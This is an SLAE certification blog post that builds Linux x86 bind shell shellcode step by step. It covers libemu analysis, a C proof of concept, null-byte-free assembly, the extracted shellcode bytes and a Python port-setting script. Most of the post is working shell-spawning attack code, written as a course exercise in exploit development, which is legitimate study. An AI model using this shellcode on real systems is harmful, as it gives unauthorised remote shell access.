This post is the assignment in the SLAE exam for recreating a bind shell shellcode.
Lets first analyse the structure of the shellcode with libemu:
root@kali:~# msfvenom --platform=linux -a x86 -p linux/x86/shell_bind_tcp| /opt/libemu/bin/sctest -vSs 1000000 -G out.dot
root@kali:~# dot -Tpng out.dot -o out.png
The shellcode can be divided into the following steps:
- Create a socket with a call to the socket function.
- Bind the socket to localhost and a specified port with a bind call.
- Make the socket accept incoming connections with a call to listen.
- Wait for a connection and accept it, create a new file descriptor from it. With a call to accept.
- Redirect the wanted file descriptors to the socket, common is to redirect stdin, stdout, stderr. Do this with dup2.
- Start a shell with an execve call.
Seems reasonable simple with all steps broken down. I will first make a working POC in C and then manually convert it to assembly. This page was a good reference for the sockaddr type given in the bind parameter.
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <unistd.h>
#define PORT 4451
int main(char* arg[], int argv){
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
inet_aton("127.0.0.1", &addr.sin_addr.s_addr);
int sockFD = socket(AF_INET, SOCK_STREAM, 0);
bind(sockFD, (struct sockaddr *) &addr, sizeof(addr));
listen(sockFD, 0);
int sizeOfAddr = sizeof(addr);
int newFD = accept(sockFD, (struct sockaddr *) &addr, &sizeOfAddr);
dup2(newFD, STDOUT_FILENO);
dup2(newFD, STDIN_FILENO);
dup2(newFD, STDERR_FILENO);
char *argvV[] = {"/bin/sh",NULL};
char *envp[] = {NULL};
execve("/bin/sh", argvV, envp );
return 0;
}
The sockaddr struct will look something like this on the stack:
Lets find the constants for addr
:
gdb-peda$ b 14
Breakpoint 1 at 0x80485b4: file bindShell.c, line 14.
gdb-peda$ r
gdb-peda$ print /x addr
$2 = {
sin_family = 0x2,
sin_port = 0x6311,
sin_addr = {
s_addr = 0x0100007f
},
sin_zero = {0x25, 0x32, 0xea, 0xb7, 0x90, 0x5, 0xff, 0xb7}
}
And indexes for our socket calls, see why here in this analysis.
tomasuh@Crunch:~$ cat /usr/include/linux/net.h | grep SYS_SOCKET
#define SYS_SOCKET 1 /* sys_socket(2) */
tomasuh@Crunch:~$ cat /usr/include/linux/net.h | grep SYS_BIND
#define SYS_BIND 2 /* sys_bind(2) */
tomasuh@Crunch:~$ cat /usr/include/linux/net.h | grep SYS_LISTEN
#define SYS_LISTEN 4 /* sys_listen(2) */
tomasuh@Crunch:~$ cat /usr/include/linux/net.h | grep SYS_ACCEPT
#define SYS_ACCEPT 5 /* sys_accept(2) */
With the steps broken down it was suprisingly easy going to write the assembly code.
global _start
section .text
_start:
socket:
xor eax,eax
push eax ;protocol
inc eax
push eax ;SOCK_STREAM
inc eax
push eax ;AF_INET
mov al, 0x66 ;sys_socketcall
mov ebx, [esp+4] ; socket(AF_INET, SOCK_STREAM, 0)
mov ecx, esp ; socket args
int 0x80
; file descriptor now in eax
bind:
;set up sockaddr_in struct
;sin_zero = is 8 bytes trash, so existing stack data can be used
;http://beej.us/guide/bgnet/output/html/multipage/sockaddr_inman.html
;sin_add.s_addr localhost constant
;avoiding nullbytes
;push 0x0100007f <-- not doable then
;ebx is 0x1 from before, shift it into correct position
shl ebx, 0x18
mov bl, 0x7f ;enter last part
push ebx
xor ebx,ebx ;zero out ebx
;AF_INET (0002) and sin_port ffff
;push 0xcdab0002 <-- zero bytes
mov cx, 0xcdab ; port number
shl ecx, 0x10
mov cl, 0x2 ; <-- AF_INET
push ecx
;setup arguments
mov [esp-8],esp ;load the sockaddr struct address on the stack at correct offset
push 0x10 ; size of sockaddr_in is 16 bytes
sub esp,0x4 ; correct the stack offset because of preload of sockaddr_in struct
push eax ; file descriptor
mov al, 0x66 ;sys_socketcall
mov bl, 0x2 ; bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
mov ecx, esp ;arguments
int 0x80
listen:
mov dword [esp+4], eax ;backlog argument should be 0, use success return value (0) from bind
;esp points towards file descriptor from before, so no need to set the argument
mov al, 0x66 ;sys_socketcall
mov bl, 0x4 ; listen(int sockfd, int backlog);
mov ecx, esp ;arguments
int 0x80
accept:
push 0x10 ;addrlen
push esp ; address of it
lea ecx, [esp+0x10] ; address to sockaddr struct
push ecx ;push it as it is an argument
push dword [esp+0xC] ; sockfd
mov al, 0x66 ;sys_socketcall
mov bl, 0x5 ; accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
mov ecx, esp ;arguments
int 0x80
dup2:
xor ecx, ecx
xchg ebx, eax ;set accept fd as argument in ebx
;and making sure eax<=0xFF for the eax part below (so that it only equals 0x3f below).
jump:
mov al, 0x3f ; dup2 sys call
int 0x80 ;int dup2(int oldfd, int newfd);
inc ecx ;
cmp ecx,0x2 ; call dup for stdin,stdout,stderr
jle jump
execve:
xor eax,eax
push dword [esp-8] ; referencing null being pushed below
push eax ;ends /bin//sh with null and argv and envp as null arguments
mov edx, esp; envp
mov ecx, esp ; argv
push 0x68732f2f;//sh
push 0x6e69622f;/bin
mov ebx, esp
mov al, 0xb ;; execve(const char *filename, char *const argv[],char *const envp[]);
int 0x80
The size of the shellcode is 125 bytes which is somewhat reasonable for a beginner.
root@kali:~/SLAE/assignment-1# ../tools/compile.sh bind_shell
Done
root@kali:~/SLAE/assignment-1# ../tools/shellcode.sh bind_shell
\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x8b\x5c\x24\x04\x89\xe1\xcd\x80\xc1\xe3\x18\xb3\x7f\x53\x31\xdb\x66\xb9\x13\x11\xc1\xe1\x10\xb1\x02\x51\x89\x64\x24\xf8\x6a\x10\x83\xec\x04\x50\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x89\x44\x24\x04\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x6a\x10\x54\x8d\x4c\x24\x10\x51\xff\x74\x24\x0c\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x31\xc9\x93\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\xff\x74\x24\xf8\x50\x89\xe2\x89\xe1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
Part of the assignament was to make the port number configurable, this python script sets it based on user input:
#!/usr/bin/python
import sys, struct
shellcode=r"\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x8b\x5c\x24\x04\x89\xe1\xcd\x80\xc1\xe3\x18\xb3\x7f\x53\x31\xdb\x66\xb9\xab\xcd\xc1\xe1\x10\xb1\x02\x51\x89\x64\x24\xf8\x6a\x10\x83\xec\x04\x50\xb0\x66\xb3\x02\x89\xe1\xcd\x80\x89\x44\x24\x04\xb0\x66\xb3\x04\x89\xe1\xcd\x80\x6a\x10\x54\x8d\x4c\x24\x10\x51\xff\x74\x24\x0c\xb0\x66\xb3\x05\x89\xe1\xcd\x80\x31\xc9\x93\xb0\x3f\xcd\x80\x41\x83\xf9\x02\x7e\xf6\x31\xc0\xff\x74\x24\xf8\x50\x89\xe2\x89\xe1\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
port = int(raw_input("Port number:"))
if port>0xFFFF:
print "Port is bigger than 2 bytes, ie > 65535, exiting."
sys.exit()
portH = hex(port)[2:]
if len (portH)==3:
portH="0"+portH
portLE = "\\x"+portH[0:2]+"\\x"+portH[2:4]
print shellcode.replace("\\xab\\xcd",portLE)
Running it:
root@kali:~/SLAE/assignment-1# ./set_port.py
Port number:4881
\x31\xc0\x50\x40\x50\x40\x50\xb0\x66\x8b\x5c\x24\x0.....
And lets run the actual shellcode:
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 569